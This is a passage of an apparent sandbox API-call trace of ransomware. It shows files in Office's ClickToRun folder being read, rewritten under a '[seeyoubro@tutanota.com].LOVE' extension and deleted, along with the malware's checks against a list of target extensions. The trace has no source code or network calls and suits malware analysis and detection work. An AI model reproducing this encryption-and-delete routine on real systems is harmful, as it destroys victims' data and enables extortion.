dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0210.812] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.812] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0210.812] GetLastError () returned 0x0 [0210.812] ReadFile (in: hFile=0x348, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0xdc4b8, lpOverlapped=0x0) returned 1 [0211.004] WriteFile (in: hFile=0x2cc, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xdc4c0, lpOverlapped=0x0) returned 1 [0211.019] ReadFile (in: hFile=0x348, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.019] WriteFile (in: hFile=0x2cc, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xf2, lpOverlapped=0x0) returned 1 [0211.019] SetEndOfFile (hFile=0x2cc) returned 1 [0211.020] CloseHandle (hObject=0x2cc) returned 1 [0211.110] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.110] SetEndOfFile (hFile=0x348) returned 1 [0211.116] CloseHandle (hObject=0x348) returned 1 [0211.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0211.117] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1 [0211.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0211.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0211.117] lstrlenW (lpString=".doc") returned 4 [0211.117] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0211.117] lstrlenW (lpString=".docx") returned 5 [0211.117] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0211.117] lstrlenW (lpString=".pdf") returned 4 [0211.117] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0211.117] lstrlenW (lpString=".xls") returned 4 [0211.117] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0211.117] lstrlenW (lpString=".xlsx") returned 5 [0211.117] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0211.117] lstrlenW (lpString=".ppt") returned 4 [0211.117] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0211.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0211.117] lstrlenW (lpString=".zip") returned 4 [0211.117] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0211.117] lstrlenW (lpString=".rar") returned 4 [0211.118] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0211.118] lstrlenW (lpString=".bz2") returned 4 [0211.118] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0211.118] lstrlenW (lpString=".7z") returned 3 [0211.118] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0211.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0211.118] lstrlenW (lpString=".dbf") returned 4 [0211.118] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0211.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0211.118] lstrlenW (lpString=".1cd") returned 4 [0211.118] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0211.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0211.118] lstrlenW (lpString=".jpg") returned 4 [0211.118] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0211.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0211.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0211.118] lstrlenW (lpString=".doc") returned 4 [0211.118] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0211.118] lstrlenW (lpString=".docx") returned 5 [0211.118] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0211.118] lstrlenW (lpString=".pdf") returned 4 [0211.118] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0211.118] lstrlenW (lpString=".xls") returned 4 [0211.118] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0211.118] lstrlenW (lpString=".xlsx") returned 5 [0211.118] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0211.118] lstrlenW (lpString=".ppt") returned 4 [0211.118] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0211.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0211.118] lstrlenW (lpString=".zip") returned 4 [0211.118] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0211.118] lstrlenW (lpString=".rar") returned 4 [0211.118] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0211.118] lstrlenW (lpString=".bz2") returned 4 [0211.118] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0211.118] lstrlenW (lpString=".7z") returned 3 [0211.118] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0211.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0211.119] lstrlenW (lpString=".dbf") returned 4 [0211.119] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0211.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0211.119] lstrlenW (lpString=".1cd") returned 4 [0211.119] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0211.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0211.119] lstrlenW (lpString=".jpg") returned 4 [0211.119] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0211.119] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0211.119] lstrlenW (lpString="concrt140.dll") returned 13 [0211.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0212.210] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=332968) returned 1 [0212.210] CloseHandle (hObject=0x380) returned 1 [0212.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0212.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0212.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0212.211] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.211] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0212.211] GetLastError () returned 0x0 [0212.211] ReadFile (in: hFile=0x380, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x514a8, lpOverlapped=0x0) returned 1 [0212.593] WriteFile (in: hFile=0x388, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x514b0, lpOverlapped=0x0) returned 1 [0212.695] ReadFile (in: hFile=0x380, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.695] WriteFile (in: hFile=0x388, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xee, lpOverlapped=0x0) returned 1 [0212.695] SetEndOfFile (hFile=0x388) returned 1 [0212.695] CloseHandle (hObject=0x388) returned 1 [0212.700] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.701] SetEndOfFile (hFile=0x380) returned 1 [0212.703] CloseHandle (hObject=0x380) returned 1 [0212.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0212.703] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1 [0212.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0212.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0212.703] lstrlenW (lpString=".doc") returned 4 [0212.703] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0212.703] lstrlenW (lpString=".docx") returned 5 [0212.703] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0212.703] lstrlenW (lpString=".pdf") returned 4 [0212.703] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0212.703] lstrlenW (lpString=".xls") returned 4 [0212.703] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0212.704] lstrlenW (lpString=".xlsx") returned 5 [0212.704] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0212.704] lstrlenW (lpString=".ppt") returned 4 [0212.704] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0212.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0212.704] lstrlenW (lpString=".zip") returned 4 [0212.704] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0212.704] lstrlenW (lpString=".rar") returned 4 [0212.704] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0212.704] lstrlenW (lpString=".bz2") returned 4 [0212.704] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0212.704] lstrlenW (lpString=".7z") returned 3 [0212.704] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0212.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0212.704] lstrlenW (lpString=".dbf") returned 4 [0212.704] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0212.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0212.704] lstrlenW (lpString=".1cd") returned 4 [0212.704] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0212.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0212.704] lstrlenW (lpString=".jpg") returned 4 [0212.704] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0212.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0212.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0212.704] lstrlenW (lpString=".doc") returned 4 [0212.704] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0212.704] lstrlenW (lpString=".docx") returned 5 [0212.704] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0212.704] lstrlenW (lpString=".pdf") returned 4 [0212.704] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0212.704] lstrlenW (lpString=".xls") returned 4 [0212.704] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0212.704] lstrlenW (lpString=".xlsx") returned 5 [0212.704] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0212.704] lstrlenW (lpString=".ppt") returned 4 [0212.704] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0212.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0212.704] lstrlenW (lpString=".zip") returned 4 [0212.705] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0212.705] lstrlenW (lpString=".rar") returned 4 [0212.705] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0212.705] lstrlenW (lpString=".bz2") returned 4 [0212.705] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0212.705] lstrlenW (lpString=".7z") returned 3 [0212.705] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0212.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0212.705] lstrlenW (lpString=".dbf") returned 4 [0212.705] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0212.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0212.705] lstrlenW (lpString=".1cd") returned 4 [0212.705] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0212.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0212.779] lstrlenW (lpString=".jpg") returned 4 [0212.779] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0212.779] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0212.779] lstrlenW (lpString="mso20win32client.dll") returned 20 [0212.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0212.779] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=3144288) returned 1 [0212.780] CloseHandle (hObject=0x364) returned 1 [0212.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0212.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0213.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0213.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0213.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[seeyoubro@tutanota.com].love"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0213.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0213.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0213.021] lstrlenW (lpString=".doc") returned 4 [0213.021] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.021] lstrlenW (lpString=".docx") returned 5 [0213.021] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0213.021] lstrlenW (lpString=".pdf") returned 4 [0213.021] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.021] lstrlenW (lpString=".xls") returned 4 [0213.021] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.021] lstrlenW (lpString=".xlsx") returned 5 [0213.021] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0213.021] lstrlenW (lpString=".ppt") returned 4 [0213.021] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0213.021] lstrlenW (lpString=".zip") returned 4 [0213.021] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.021] lstrlenW (lpString=".rar") returned 4 [0213.021] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.022] lstrlenW (lpString=".bz2") returned 4 [0213.022] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.022] lstrlenW (lpString=".7z") returned 3 [0213.022] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0213.022] lstrlenW (lpString=".dbf") returned 4 [0213.022] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0213.022] lstrlenW (lpString=".1cd") returned 4 [0213.022] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0213.022] lstrlenW (lpString=".jpg") returned 4 [0213.022] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0213.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0213.022] lstrlenW (lpString=".doc") returned 4 [0213.022] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.022] lstrlenW (lpString=".docx") returned 5 [0213.022] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0213.022] lstrlenW (lpString=".pdf") returned 4 [0213.022] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.022] lstrlenW (lpString=".xls") returned 4 [0213.022] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.022] lstrlenW (lpString=".xlsx") returned 5 [0213.022] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0213.022] lstrlenW (lpString=".ppt") returned 4 [0213.022] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0213.022] lstrlenW (lpString=".zip") returned 4 [0213.022] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.023] lstrlenW (lpString=".rar") returned 4 [0213.023] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.023] lstrlenW (lpString=".bz2") returned 4 [0213.023] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.023] lstrlenW (lpString=".7z") returned 3 [0213.023] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0213.023] lstrlenW (lpString=".dbf") returned 4 [0213.023] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0213.023] lstrlenW (lpString=".1cd") returned 4 [0213.023] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0213.023] lstrlenW (lpString=".jpg") returned 4 [0213.023] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.023] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0213.023] lstrlenW (lpString="mso30win32client.dll") returned 20 [0213.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0213.023] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=4677216) returned 1 [0213.023] CloseHandle (hObject=0x2cc) returned 1 [0213.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0213.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0213.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0213.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0213.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[seeyoubro@tutanota.com].love"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0213.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0213.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0213.025] lstrlenW (lpString=".doc") returned 4 [0213.025] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.025] lstrlenW (lpString=".docx") returned 5 [0213.025] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0213.025] lstrlenW (lpString=".pdf") returned 4 [0213.025] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.025] lstrlenW (lpString=".xls") returned 4 [0213.025] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.025] lstrlenW (lpString=".xlsx") returned 5 [0213.025] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0213.025] lstrlenW (lpString=".ppt") returned 4 [0213.025] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0213.026] lstrlenW (lpString=".zip") returned 4 [0213.026] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.026] lstrlenW (lpString=".rar") returned 